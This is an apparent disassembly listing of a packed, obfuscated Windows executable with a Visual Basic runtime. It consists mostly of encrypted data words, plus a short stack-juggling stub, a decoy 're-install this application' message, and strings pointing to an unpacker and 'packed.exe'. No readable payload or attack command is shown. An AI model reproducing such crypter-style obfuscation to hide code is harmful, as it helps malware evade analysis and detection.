		dd 7549DC7Eh, 7C6C4064h, 2886F7B0h, 7C6C3F6Ch, 4519B0E7h
		dd 7C6C4003h, 4E00D6D1h, 34CB791h, 0CF96DBA9h, 0D000000h
		dd 6CFBFE85h, 0FD5554D0h, 306A2FEh, 0E7A1FD94h,	0F5762432h
		dd 9B961E8Ah, 67368433h, 63762436h, 5231D6C0h, 0D7AA5725h
		dd 0DB58D9A6h, 7D51E8B9h, 7624363Bh, 7277FD89h,	4FE76405h
		dd 0B22520C3h, 0CA9DAEF9h, 983E89AEh, 0D68AB51Bh, 41296F3Fh
		dd 0C8B77624h, 2440DE9Ah, 0C8DEA76h, 7078C599h,	0C3AC7C6Ch
		dd 0D45CF0A1h, 9E9975DDh, 0BB1569FCh, 982B6F4h,	9082F76Eh
		dd 0A0BD4337h, 762F76D7h, 1F9B35E0h, 86227E1Ah,	6D2A3C83h
		dd 631C12A1h, 0B7F3h, 4948E900h, 0F0F57F2Bh, 64630490h
		dd 0E9E88804h, 9E931F8Bh, 0B880D1F2h, 435F3D3Ch, 0D4C0A0BDh
		dd 5E4A5629h, 21B2DED5h, 3378308Eh, 0E2447C72h,	0F8F98521h
		dd 60670C98h, 0FE856300h, 75FE8AFBh, 81BA127Eh,	39724CDBh
		dd 817C7227h, 78FB89E6h, 0E0831F7Dh, 56DE72E5h,	0D8A9A848h
		dd 4C2D5ADBh, 3E79C9E6h, 33C95437h, 0DB58807Fh,	43E0BCDCh
		dd 0DD653744h, 0F35851C4h, 4289010Bh, 41C4F35Bh, 9D19B34Ah
		dd 0D08EEF9Ch, 0C0D38798h, 0F9F35B24h, 0A341DB02h, 879ADEB0h
		dd 5926C0D3h, 5AD9ABD8h, 0C0412E5Fh, 0E05AE6Ah,	0A58D3662h
		dd 0ED9A1B1Eh, 37Dh, 0DA41DA00h, 94E5FC85h, 0B787F04h
		dd 8CFDFC79h, 0E7F6AFCh, 82F3F672h, 6774AF6h, 86F7CA6Ah
		dd 397655EAh, 0BFCCC96Bh, 4EC81B9h, 89000000h, 0E2892414h
		dd 4C281h, 0EA830000h, 24148704h, 510A685Ch, 4890000h
		dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 57241489h
		dd 4DF492BFh, 0FB895306h, 5F5BD889h, 24148B54h,	4C481h
		dd 0B9510000h, 8, 189D101h, 81240C8Bh, 4C4h, 2434FF00h
		dd 4C4835Ah, 582434FFh,	4C481h,	0B6E90000h, 1BFFFA7Bh
		dd 8372A7D0h, 248B8D2h,	0C503064Eh, 0F1BCE0FFh,	0F31E1F5Ch
		dd 588B2600h, 0C73D23A5h, 0D202706Dh, 2FD0356h,	6E7E2E1Ch
		dd 4EBD6A6Ch, 3969250Dh, 8D8D4551h, 64E037Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 85C35343h, 0BF0FCBB7h
		dd 58D89C1h, 29064814h,	4811BDB5h, 2585C706h, 0D4064830h
		dd 8100006Fh, 27C784CEh, 0D985C777h, 6482Ah, 8B000000h
		dd 4814E185h, 4DB5FF06h, 6A064818h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0F86C357h
		dd 13D99D09h, 95FF0648h, 6480E71h, 0FF006AF5h, 48092D95h
		dd 0EBC08B06h, 35AF540Eh, 8C9911BBh, 0F374129Bh, 0E96F84B8h
		dd 17Dh, 4FFE5D60h, 6FC2016Ch, 0B4CAD1D7h, 5B7E41EFh, 5D9752E4h
		dd 0FCA3FB6Dh, 9EB99244h, 0BCD792A5h, 93B9E495h, 9DB2CB00h
		dd 9CACA3F4h, 9EB9FCh, 0AFC945D2h, 0FC00EE73h, 9CBA9755h
		dd 0A4E56D59h, 0FEACFFB2h, 5657F647h, 0CCD4C4h,	8F7DB5F6h
		dd 539549F7h, 0C9BCFA97h, 915CCD45h, 0ACE56CA1h, 10000h
		dd 43h dup(0)
		dd 36D1F800h, 0C20DA437h, 727EA6D3h, 1079E936h,	6680000h
		dd 0E9064E07h, 0FFFB43A2h, 4E081E68h, 4398E906h, 0B468FFFBh
		dd 0E9064E09h, 0FFFB438Eh, 4E0ABF68h, 4384E906h, 68FFFBh
		dd 0E9064E0Ch, 0FFFB437Ah, 4E0CD468h, 4370E906h, 7368FFFBh
		dd 0E9064E0Dh, 0FFFB4366h, 4E0DD668h, 435CE906h, 368FFFBh
		dd 0E9064E0Fh, 0FFFB4352h, 4E0F7068h, 4348E906h, 0C68FFFBh
		dd 0E9064E10h, 0FFFB433Eh, 4E10CE68h, 4334E906h, 8168FFFBh
		dd 0E9064E11h, 0FFFB432Ah, 4E12C368h, 4320E906h, 0F268FFFBh
		dd 0E9064E13h, 0FFFB4316h, 4109DBDCh, 0CB874347h, 531FCBCDh
		dd 0DA966E35h, 0A32FFDBCh, 0E8A94936h, 9212BC3Ch, 199C3AB6h
		dd 9B018FC3h, 234B135Fh, 0D47AD7A4h, 0BE773273h, 76921F81h
		dd 4674D612h, 376D7164h, 0C9DFFDF3h, 0CFA96931h, 0A3D7E283h
		dd 0C703850Bh, 3571F68Eh, 3E8F526Dh, 6D5021A6h,	0E3A573D2h
		dd 0BFD76927h, 0D26D6B08h, 0B93C8E73h, 4E35BB05h, 73D26D9Dh
		dd 0CED4BADAh, 0A47A440Ah, 2BB53BE1h, 1EAC82A2h, 9E38D7ECh
		dd 4146h, 65907100h, 0B3F39D31h, 0EE861E57h, 7F009156h
		dd 5BE5759Ah, 62B55512h, 4E108F52h, 72865B00h, 0D1C173D2h
		dd 531AC2CFh, 1D29BBF5h, 769E38C4h, 7E8869DEh, 0D36D73D2h
		dd 0D5984C4Dh, 0E7FEh, 0A081B900h, 4FD75E15h, 189C02BEh
		dd 0B53882C8h, 39B77329h, 80CE1E9Bh, 3ADB9C02h,	2F9DF4E2h
		dd 0DEFCF25Ch, 9B4C0CC8h, 759A5D28h, 4B07C3D9h,	0E7AF574Dh
		dd 492BB53Bh, 0E9576203h, 9A5D917Eh, 0EA697475h, 613C2C4Ch
		dd 9F379173h, 0C01C9907h, 0AC4DFA8Ah, 49759A1Ch, 0E7A015F7h
		dd 8F5225E3h, 35FCFC4Eh, 893E560Ah, 891C9148h, 0D5BBD36Dh
		dd 8D5C70D4h, 8120DCEEh, 0D38DC055h, 6DDAF4B5h,	7598308Ch
		dd 0A875D769h, 22A4CF9h, 0D51E5F1Dh, 7100000Dh,	0FC9AD636h
		dd 626C6CA4h, 0EAF4E420h, 517F73B5h, 0C9C4F450h, 9F4D4CACh
		dd 11F1B5D3h, 0AE763F59h, 3AFEA422h, 0C97E16B6h, 73D47828h
		dd 816BACCDh, 54B971Fh,	0EDAC32BBh, 8F15B33Fh, 3B7D234Bh
		dd 96DFE1EFh, 8FFB4ADAh, 0C19EE121h, 1ED6CD53h,	0EE470E50h
		dd 9D316590h, 52623C2Ah, 89C7998Fh, 0D27279D2h,	17F5B473h
		dd 0AE7E3B59h, 0CFE16F20h, 0F2CC0C04h, 38C45650h, 0D9FC9Eh
		dd 81BB0000h, 84D891Fh,	0D1470086h, 0ED277C23h,	0D5F0DDEFh
		dd 8FF6940Ch, 2E38B55h,	0D0C2B9CEh, 0E686E8A9h,	0F46C49h
		dd 5E7C32BBh, 0BBE58953h, 1EA02EFEh, 8120E757h,	70759AABh
		dd 0E4E2EE2Ah, 0A0747ABEh, 33D33908h, 0DE094305h, 9A1FF899h
		dd 2B7F1D75h, 7DDFE1EFh, 0D286B178h, 3D7C22BAh,	96DFE1EFh
		dd 5226B5D1h, 0A46188Fh, 0FBBF606Bh, 0A1983D48h, 0CB630BD5h
		dd 72E83E7Ah, 165F22E4h, 1CED9351h, 0C4E87289h,	4D0DDFDAh
		dd 27864643h, 22A9192h,	0BD8736A4h, 6900000Ch, 0D4F2FE2Eh
		dd 5A4474CCh, 0C2CC8C58h, 49571BDDh, 0A1DC9C48h, 0A76524C4h
		dd 39E9AD2Bh, 0B66E17B1h, 0C2069C3Ah, 0D1963E8Eh, 73D47740h
		dd 7713C4A5h, 69ED20Ah,	8DC31998h, 8E14BA33h, 8131064Ah
		dd 23FFA7E9h, 9A7FD7A4h, 25A83275h, 7AEDE3B9h, 759A7F9Dh
		dd 5604E678h, 0D0A126BEh, 35759A7Fh, 0E6BC22ABh, 0BCC7AE22h
		dd 8373F498h, 0A68F524Eh, 782E7004h, 1B2F3EBCh,	3ABADDC1h
		dd 0EEA015F7h, 0D2456439h, 53B2373h, 38F35B67h,	95F19Eh
		dd 0ADB0000h, 0EFEAF9A6h, 40D82122h, 0C6F2B09Dh, 813700B5h
		dd 2C47E8A0h, 0D39A55D7h, 597D212Ch, 52FCF8EEh,	9E495D8Fh
		dd 73D2ECF1h, 0CA408004h, 33F5AA70h, 0CAEC3D51h, 0C84E064Eh
		dd 5D3AADC1h, 0B873D274h, 27FFAF26h, 594147C6h,	0E364CC8Bh
		dd 73D2B712h, 158B55F7h, 0BB054B8Fh, 0B7987532h, 0FFDF73D2h
		dd 0D0723C1h, 28AD9E38h, 48000000h, 9D316590h, 5254302Ah
		dd 386FED8Fh, 0B91BC1C4h, 81CFA933h, 0D26401DAh, 28064673h
		dd 38D2689Ah, 7C29Eh, 58F50000h, 866h, 3165906Fh, 6AB6F39Dh
		dd 0E1FBF12Bh, 31B64E07h, 8F687A60h, 40800785h,	0BED6B00Ah
		dd 0E73D7826h, 64F6D7E9h, 0D8AB5CB8h, 0D9CFCF86h, 0DAA46021h
		dd 56920896h, 0CE729D18h, 72C321A6h, 98228926h,	2A8D5CF4h
		dd 0A41D643Fh, 0AFF599DCh, 2379676Bh, 10CE9E7h,	7C8E395Dh
		dd 0A18F52F2h, 8E1BBE1Fh, 854B0460h, 0B2728h, 0C0C300h
		dd 9E5A4E48h, 16F2B4D2h, 0AD673C5Ah, 26E6A32Dh,	9E7E3FAAh
		dd 781C913h, 810F439Fh,	0F690D804h, 44645490h, 76DABB2Ch
		dd 723F73D4h, 7EFDAEBDh, 0ACD7759Ah, 424CE488h,	25FFA45Ch
		dd 24B15B7h, 687A8445h,	771FA18Fh, 220D0E96h, 737A3727h
		dd 9651E9B9h, 73D452F9h, 52AC4DFAh, 0F74973D4h,	1DFA6D39h
		dd 0F873D452h, 2AD18466h, 0BB537B1Fh, 7B71D1D5h, 0E2BB6C61h
		dd 0C7892656h, 594F5165h, 0EDB3DD9Dh, 0B7C2A329h, 6F1AEB83h
		dd 9DD41CCh, 0FFA83DD3h, 0F052DC9Fh, 688A6BDCh,	0DD6F759Ah
		dd 2D470098h, 2A8F686Bh, 58673C64h, 5A499A82h, 724C02ECh
		dd 0D5F9437Bh, 5B11D5CBh, 0CD199B01h, 0C058F088h, 0D4ED7607h
		dd 25F27573h, 0C073D4EDh, 0A72EB07Eh, 35A56127h, 9D31F5ABh
		dd 0B3C4794Ch, 31A4E1C5h, 6CEB867Dh, 0D2FDF3D4h, 0B9C0772Dh
		dd 1E34C8Eh, 1DA8FA6Dh,	3B85091Ch, 2E61255Ah, 0CEEF6D82h
		dd 0A1Ch, 5D1DCFC8h, 27AB6F33h,	0AF23FFB9h, 36BA7A21h
		dd 0BF33E9A8h, 4856502h, 860E88C0h, 0D88165Ah, 0A7FD9BD7h
		dd 375F6F63h, 0D475E3B0h, 0B27B0673h, 64BFA081h, 0A52BC071h
		dd 1A3E4930h, 0BA14F572h, 2C318F68h, 394B158h, 0B8DCBE69h
		dd 4474B0D6h, 79A3E2ACh, 0F0346A74h, 6C103BFAh,	18C29F48h
		dd 4D1F8926h, 0E5216729h, 71B5EBF5h, 0D78FBA7Bh, 607A70B0h
		dd 18FA9B4Ch, 4D1F759Ah, 0BC1CCBE3h, 0BB8F681Bh, 7A70D4D5h
		dd 1B5C3DAAh, 27B973D4h, 0D9B63145h, 3C73D41Bh,	29B32BA2h
		dd 8B851B85h, 0D41B3FDCh, 7D3CDA73h, 3D9F21AFh,	1B0AFD0h
		dd 9A643AA1h, 16D2C8D6h, 4E8A107Eh, 22F37400h, 0C773D446h
		dd 1CD29B65h, 0D446EAA7h, 81B5C073h, 0D3BD55EDh, 0A07176D6h
		dd 0A373D446h, 0D4465724h, 6228B273h, 0A97CFDD8h, 0F41AB1B2h
		dd 268304C1h, 9C2E8926h, 34F096F8h, 40841A84h, 3C606B0Ah
		dd 0B6470098h, 53759A26h, 942CC489h, 1B52960Ah,	6822F5AAh
		dd 660ED08Fh, 257819CEh, 0CC7B73D4h, 73D4252Fh,	20BA70CAh
		dd 934F1ADh, 0F4864155h, 29891C33h, 4FBF3697h, 19D7022Eh
		dd 8DB54h, 0DC0C7700h, 6AAEF29Ch, 0E23E7866h, 79BBE0EEh
		dd 0F22A5771h, 42A2C3FEh, 0CBD58547h, 35531FCBh, 0BA249470h
		dd 10A820E4h, 732ECF78h, 0AECB73D4h, 56117769h,	0E71C59A4h
		dd 0E2E84A89h, 747ABEE4h, 0B9C92F2h, 0B0C9D295h, 0F03A31EFh
		dd 61E67E16h, 759A4590h, 2EE2EB75h, 924E4856h, 0F3B4B6DBh
		dd 0C1E9870h, 86000000h, 0B429E18h, 48D582Ah, 0C66F0000h
		dd 5C000B1Ah, 5627A038h, 0B3759A7Fh, 34CCA429h,	0FDF0346Ah
		dd 526F5E08h, 19E9738Fh, 0DFA1EF56h, 96CEF95Ch,	3E5630ECh
		dd 11980D89h, 4258465Ah, 0FFF6C886h, 0B67F7DCFh, 7CB4EB8Bh
		dd 0F04DFA92h, 2D5C5C07h, 0F95FB93h, 831987CBh,	0F73DDA8Dh
		dd 6D8A0DAh, 8B98D9A4h,	7CF2D768h, 80771h, 20E0A300h, 0BE7A2EA8h
		dd 36129432h, 4D871CBAh, 0C606830Dh, 7E9E1F8Ah,	0E7E1E933h
		dd 616F63BFh, 0D6F0F824h, 644474B0h, 73FA9B4Ch,	921F73D4h
		dd 0D511775Dh, 6CB8F9E7h, 0C67A856Ch, 7C9239AEh, 0E9738F68h
		dd 3DC5DBC5h, 13E06765h, 0F673D47Ch, 0A0288A54h, 36A46026h
		dd 7001C65Eh, 9573D47Ch, 0D0FB82CBh, 86341490h,	0B5325A24h
		dd 892678D8h, 8D13BB05h, 0D5BBD317h, 8D7F76CEh,	35599D03h
		dd 784D2A9Dh, 16A8759Ah, 15D2E337h, 4A036BAEh, 518BF694h
		dd 2881E9F4h, 6B72502h,	768h, 9418304h,	93DF1B8Fh, 1B57B3F5h
		dd 0E2EE267Dh, 6B67A5E4h, 0D0D1317Eh, 5A5A4474h, 0C1C4C28Eh
		dd 5349571Bh, 0EB83DB97h, 0D4729F7Ch, 0F63F7A73h, 9D316590h
		dd 687B712Ah, 7A12AC8Fh, 64A8E14h, 88C60298h, 16BEE2EDh
		dd 9BD20E88h, 519C4205h, 1BB9891Ch, 4E14387h, 22E1E53h
		dd 5A00DC3h, 0A1000007h, 2CAA26E6h, 923CBC74h, 1A843410h
		dd 810F4385h, 1994C400h, 0EF3D7C9Ch, 61A1E5E3h,	0FE266F69h
		dd 0ACED4F2h, 994E6646h, 73D472F8h, 775B9C1Dh, 0F9E7D511h
		dd 0CF6967A3h, 0AEF0A19Fh, 29B538E4h, 2DCA7D73h, 0C8759A7Fh
		dd 4C249476h, 7F6233B4h, 2587759Ah, 0C51F2BB0h,	2A749870h
		dd 0D2168C74h, 6A60C29Ch, 0FCF2366Ch, 764D00E2h, 11h, 2B15801h
		dd 98300000h, 9A7F4E2Fh, 5C11AB75h, 0D511779Bh,	4FF31EE7h
		dd 7AEFA027h, 75D48F68h, 53539792h, 19EF96F7h, 0C9930B42h
		dd 0A8CF44A5h, 0ED6BA8C1h, 0F4AA34E8h, 1BEABA30h, 0C3D99B34h
		dd 0C7702607h, 616FABFFh, 0D6F8FD5Fh, 0B87971ABh, 22366A8Dh
		dd 9246DF7Ah, 25049C30h, 0EDDABA04h, 580D403Dh,	89264864h
		dd 0FB933B85h, 2E7FB12Ah, 9A0AD8B9h, 42A33D75h,	6E4FBEF4h
		dd 0C3C2448Eh, 8F0F4658h, 59DDD19h, 0F0F63C24h,	0C88DBD2Ah
		dd 5604C0C6h, 0DD934948h, 65092D58h, 52510CE2h,	0F0770F8Fh
		dd 73D24123h, 0FFA664C6h, 0AC3EB025h, 603DE2C1h, 67560404h
		dd 5D8h, 99D13374h, 636FABFFh, 0EBE72365h, 727EB6EDh, 0FBF75554h
		dd 4041A1CEh, 0CACAD484h, 7134521Eh, 0E3B927ABh, 7B13AB27h
		dd 0D4702FCCh, 66AFCA73h, 0C1D51177h, 480DC9DFh, 56920896h
		dd 0B08EDE18h, 5B57117h, 70C56C9Eh, 10C698h, 5FAE0000h
		dd 6A2B1F89h, 89AE277Eh, 12B58h, 11776F00h, 33308D5h, 15DB0228h
		dd 56B58h, 4C9C0700h, 0DA1E820Ch, 528E0896h, 0E92B701Eh
		dd 62BAE7E1h, 0D232736Eh, 5B4575D7h, 0C5C38F5Bh, 4A5404C0h
		dd 80D89054h, 709E7FE8h, 3E7B73D4h, 0D51177F9h,	67A3F9E7h
		dd 0A19FCF69h, 14448006h, 70C5738Fh, 2BD998h, 2BC30000h
		dd 9A77DFBCh, 2DA03A75h, 881F8108h, 0E6D42C74h,	56747AC4h
		dd 0A015F731h, 0B311h, 1F812400h, 0A8074E96h, 0A8h, 3165907Fh
		dd 7A712A9Dh, 444A8F68h, 0D0CE8745h, 9AA5400Eh,	0FD19CEE6h
		dd 10891C42h, 2E94EF4Eh, 844A022Eh, 4CF29h, 0E8387B00h
		dd 66A2E6E0h, 0FE2A6C6Ah, 75CFD4F2h, 8E5E5B45h,	36D6D7C2h
		dd 0BFD9914Bh, 39A72BF7h, 0AE28A07Ch, 2CBC3CF8h, 6F32C384h
		dd 0AAD773D4h, 31659065h, 69ADF39Dh, 7C145963h,	522196CBh
		dd 0DDF14B8Fh, 0A515F1B3h, 0D23128E2h, 7BBFE573h, 6C4E9F77h
		dd 43871B1Bh, 2F52B30Dh, 0AD773EC3h, 0BA339D2Fh, 1EB69214h
		dd 0E3EA3670h, 45E822Bh, 840A0000h, 37B0C41Ch, 73D29566h
		dd 83B43983h, 9D316590h, 289FB1F3h, 759A7F4Bh, 3CB21CAEh
		dd 92552BA2h, 8F687A39h, 80145AE4h, 7A9E7FE8h, 0E17B73D4h
		dd 46FA05ECh, 425DB92Eh, 0ADB0891Ch, 519E1550h,	9372DC1Dh
		dd 22E909Ah, 0DF7C674h,	0B9000004h, 24A22EFEh, 0AA34A47Ch
		dd 12BC3CE8h, 99074B8Dh, 118CCC18h, 0D7357494h,	69B9FD9Bh
		dd 0E63E6761h, 72B6ECEAh, 81466E7Eh, 73D46FF0h,	90A39415h
		dd 2A9D3165h, 8F687A4Dh, 0E67E16A8h, 7AF8994Eh,	431D73D4h
		dd 0DA1E840Ah, 56920896h, 0CE729D18h, 60A0F8A6h, 8B3C506Ah
		dd 73D47AEAh, 6038BD0Fh, 203979C8h, 0E3A60E7Fh,	0E3CF3DEAh
		dd 9C2E8926h, 683E60F8h, 0D99C2EACh, 66E1EFB5h,	759AE389h
		dd 727EB8C3h, 0F0BE7DFBh, 0C2CC8C6Eh, 0D35218DCh, 995877A8h
		dd 3C24795Ah, 0FFFD276Eh, 0FC6B03EDh, 8F52F482h, 0F9208D5Fh
		dd 1D046088h, 35A1E5Fh,	8DF60000h, 29711F53h, 0BDE7E1E9h
		dd 386F6961h, 0ABD6F0F8h, 234C7971h, 4A06C6C3h,	0D098484Ch
		dd 0A515CFB6h, 29A1653Bh, 0A14EF991h, 4473D46Eh, 1177F025h
		dd 7977B3E9h, 0CD83475Bh, 39B711F3h, 89C1059Bh,	15B9DDE8h
		dd 526D5052h, 8B23BD8Fh, 0BEA8AFBAh, 1FA12FE9h,	0F9AAB63Eh
		dd 28A66623h, 0B86FDF96h, 73D25FE7h, 1786B8A0h,	9CD21289h
		dd 0E4068BC2h, 4E9E38E5h, 53h, 0B2659069h, 3276EFB2h, 8B238D41h
		dd 0D9478305h, 0B0480DDDh, 52E21737h, 0A228B28Fh, 1CD4CCD2h
		dd 0F233EC59h, 0A9FE73D2h, 2663616Fh, 48D6E8E6h, 5D89652h
		dd 72E710A9h, 0BA8227BFh, 83CBDF84h, 7CE31FADh,	0D4499E38h
		dd 33000000h, 0F3F9296Dh, 7753E4E9h, 0F9E7D511h, 606E6CB8h
		dd 77D6FE3Ah, 3215EAE3h, 8C68FEEh, 98D0148Ah, 9A9E8427h
		dd 0EB2F7575h, 67A3F9E7h, 6330B74Fh, 86759A9Eh,	0E24C9C18h
		dd 477233EBh, 0BDE37B13h, 0E795A0E7h, 9297DF57h, 0AD20BA30h
		dd 52522EF8h, 31B9038Fh, 7D114570h, 0BB8A04E5h,	1E428386h
		dd 42CAEE57h, 912B891Ch, 361693FDh, 4F9D1CBAh, 2A3EBDEEh
		dd 0D6E75502h, 218h, 5911F3B4h,	23AF6B3Fh, 0AB27E3A5h
		dd 32BE762Dh, 0BB371594h, 81610Eh, 8A0A94C4h, 3174125Eh
		dd 0A3F9E7EBh, 3B536B67h, 0D46DEF8Ch, 0A66F0A73h, 0A3EE0A77h
		dd 8F697379h, 0D1DFC5C3h, 541AC2CFh, 7FAC4D0Ah,	5F59759Ah
		dd 3DF3CD83h, 0F989C1A3h, 0BA30F097h, 9088AD20h, 59D3165h
		dd 9A7FB542h, 108E5075h, 0A406B494h, 7EEC5B31h,	0DB8F5262h
		dd 9A9C6D01h, 6C5496D8h, 7328E6EFh, 73D2FB9Eh, 2DBFF1D9h
		dd 9E384D11h, 0E4BBh, 11777A00h, 7FCBA81Fh, 9C2E759Ah
		dd 931EBC32h, 2D42EBCAh, 533D8B70h, 9A1BA61Dh, 0B4EA759Ah
		dd 485E7870h, 0FFA6E88Ch, 3BADE5A6h, 0F052A01Fh, 596401FDh
		dd 990F9125h, 0F4FA3A61h, 0FB4208EAh, 0BCD0C49Eh, 8B11F3FAh
		dd 0CF91DF0Bh, 0AD79EE86h, 668F52BDh, 0A27819CEh, 88D73D2h
		dd 4ECC9EDCh, 306217Fh,	66C03949h, 0EDED7F6Fh, 0D88FF904h
		dd 73D2433Bh, 0AA20CDEh, 97C51F84h, 7FE88035h, 891CE236h
		dd 0CF6114F5h, 0A7588A5Bh, 862EB02Eh, 0F439918h, 79C40081h
		dd 22A9ED6h, 0E97B72F8h, 85000000h, 8EC202h, 76105898h
		dd 0FE98D00Ch, 65636FA9h, 0FDE8E024h, 8B5150B0h, 0DDDD9C7h
		dd 9A42434Dh, 16D2C8D6h, 0FD6A025Ah, 73D46C1Ch,	8177B8F9h
		dd 0A2496EA0h, 28AD69EAh, 0A921FBA6h, 3DBD792Fh, 0D511773Ah
		dd 810E60C1h, 5928C642h, 32CA5A14h, 9AC0E4B5h, 36BF0175h
		dd 0BA36F2A8h, 0E166D0FBh, 759AC010h, 6A0A6BF5h, 6065AE6Ch
		dd 0A1264E28h, 8F6813D8h, 41E40ADBh, 0EBB9A42Ch, 1C52ECE2h
		dd 0ECEC287Eh, 5EA53514h, 326C7F1Bh, 498D13BBh,	29277B25h
		dd 0D4F8D1BEh, 0C8AA3473h, 533DC985h, 4C1F44Ch,	0A308833Eh
		dd 4ADDD30Bh, 0BED89054h, 20AE2CE8h, 0C101857Bh, 4BFE4F67h
		dd 0DDC9A572h, 491DD184h, 48564779h, 0B2DC9153h, 26A028ECh
		dd 8736A460h, 10h, 6F177911h, 0AC6734B3h, 388243E8h, 0BC8B80B5h
		dd 9EDC0C77h, 606EAAF0h, 0F3F92362h, 7B71D1D5h,	0C2885C5Dh
		dd 4907C5C4h, 0DE9C544Bh, 0A42AF6B0h, 28A66226h, 0E789575Bh
		dd 4C781h, 0EF830000h, 243C8704h, 2434895Ch, 2A7068h, 24348900h
		dd 363A68h, 24148900h, 3EB26855h, 0D15D7A89h, 97ED81EDh
		dd 506BE962h, 0B07CCBB8h, 0D1D8F722h, 435C25E8h, 0D1051BB5h
		dd 12A4D87h, 0EE8958C5h, 148B545Dh, 4C48324h, 4815655h
		dd 8B389E24h, 0ED815D2Bh, 2B8B389Eh, 5D086A89h
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_54DD7E
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0CC061C79h, 0B81ACE01h, 64E1500h, 0E0FFC503h, 1800FB08h
		dd 450DB4E5h, 6F88EA22h, 11951748h, 3702130h, 5999A56Ch
		dd 545A10EDh, 544AF111h, 3294975Bh, 0F67218h, 4CA19F1Eh
		dd 102FDC0Fh, 5A28DCDAh, 7BB40483h, 704FD83Ah, 399E7ADDh
		dd 35A709B9h, 22A55094h, 2AF37104h, 35AC1CD9h, 1B2F7652h
		dd 16E78D8Dh, 870F064Eh, 1, 58D89FCh, 6A064814h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0E9B7C356h, 2AFC8F39h, 820FC736h, 5,	5B7890BBh, 858D890Ch
		dd 0C706480Bh, 48302585h, 668406h, 7E900h, 42EA0000h, 469CB89Bh
		dd 0D985C76Bh, 6482Ah, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 89BAC357h
		dd 219D8960h, 8B064820h, 0B52361DAh, 6480999h, 6FDB5FFh
		dd 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0E9DD11C3h, 0Fh, 0EAD92CE4h, 6427F937h, 625378E9h
		dd 0FF8C51DDh, 480E7195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0E6E5847Eh
		dd 0A1FDD74Ch, 0FF006A93h, 48092D95h, 0EBC08B06h, 99DC4868h
		dd 9FD76E61h, 0C8933734h, 0CB742A2Ah, 3403FB88h, 0D333920Bh
		dd 1B52885Ch, 12889C7Ah, 0F68F5333h, 820ABC88h,	3D5F85E2h
		dd 0D82A268Eh, 292C94C1h, 0D470CF6Eh, 3653EC24h, 0A60C207Eh
		dd 7117E6FEh, 907E265Ah, 0CC7BE979h, 0F2442EE4h, 9AD5C681h
		dd 0AF5AA0DAh, 8C9D4E5Bh, 0C887FA5Fh, 0DE41550Eh, 8C545263h
		dd 6E844h, 97C00000h, 76CA2AE8h, 32E98D8Bh, 0B15F0648h
		dd 28C781D7h, 0B000005Bh, 16AF68E7h, 8B660000h,	0BD895BC7h
		dd 6482FD1h, 0BF0F378Bh, 0FC681D3h, 8959E387h, 48273D85h
		dd 0FBF68106h, 8B5ABDFDh, 481AED85h, 0A8C68106h, 6625FDE2h
		dd 62B5CA81h, 0C38A3789h, 8902EF83h, 482F558Dh,	8B4F4F06h
		dd 48091185h, 850F4B06h, 0FFFFFFBCh, 0D099589h,	9E80648h
		dd 0CB000000h, 0D78B2808h, 0CC8DCC32h, 391A7DBEh, 8B0F5F17h
		dd 16h,	0FE952h, 185F0000h, 0FC7FA312h,	5C22EBAh, 3A4880Eh
		dd 0C7815E2Fh, 618Fh, 8BD22BF8h, 48281DB5h, 171C8B06h
		dd 1F1BD89h, 0C3810648h, 481B81F1h, 27418531h, 0F3810648h
		dd 75A0DEB2h, 23419D09h, 0C3810648h, 70BC8B84h,	0AE9h
		dd 2E0ED300h, 686069CEh, 89BC158Ah, 0E081171Ch,	1F7A81B5h
		dd 1411B589h, 0EA830648h, 4AD2B101h, 81664A4Ah,	815F6ED0h
		dd 0FF9F30FAh, 11850FFFh, 0F8000000h, 25E9h, 0D93B6C00h
		dd 0B2D3491Fh, 19A4EEDEh, 0E9CB8B66h, 0FFFFFF89h, 50E5468Eh
		dd 8B766E5Eh, 6F28FC55h, 9FDA0321h, 9E8E791h, 26000000h
		dd 0DCB17F0h, 9A75ADB0h, 17F19D89h, 8B5A0648h, 4812AD9Dh
		dd 0D1C28106h, 2900006Ch, 4814DD85h, 6806h, 0C18B0000h
		dd 0BD9D035Eh, 8B064815h, 0B6B7323Ch, 5829C781h, 870F77D7h
		dd 6, 30C1858Bh, 0EF810648h, 0DD9C6D2h,	23918D8Bh, 0F7810648h
		dd 4E380F60h, 8FFC57FCh, 0BD293204h, 6482FD1h, 0B869EE81h
		dd 8B661333h, 65C681DFh, 8B1333B8h, 480FDD8Dh, 0C0FE8106h
		dd 0FFFFF93h, 0FFFFAA85h, 0AE9FFh, 0AC4C0000h, 0BC174B70h
		dd 90F1CB8Bh, 15CE9h, 0E705C500h, 5C3A4377h, 6E755F6Dh
		dd 6B636170h, 70007265h, 656B6361h, 78652E64h, 65h, 3Ah	dup(0)
		db    0
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 94h,	8Ch, 7Ah
		dd 1C34E955h, 99680000h, 0E9064E1Ch, 0FFFA63D9h, 4E1D8568h
		dd 63CFE906h, 5D68FFFAh, 0E9064E1Eh, 0FFFA63C5h, 4E1F6968h
		dd 63BBE906h, 0A868FFFAh, 0E9064E1Fh, 0FFFA63B1h, 4E208D68h
		dd 63A7E906h, 0E568FFFAh, 0E9064E20h, 0FFFA639Dh, 4E212C68h
		dd 6393E906h, 6468FFFAh, 0E9064E28h, 0FFFA6389h, 4E291868h
		dd 637FE906h, 0D168FFFAh, 0E9064E29h, 0FFFA6375h, 4E2AC768h
		dd 636BE906h, 3368FFFAh, 0E9064E2Bh, 0FFFA6361h, 4E2BF068h
		dd 6357E906h, 7A68FFFAh, 0E9064E2Ch, 0FFFA634Dh, 4E2D4A68h
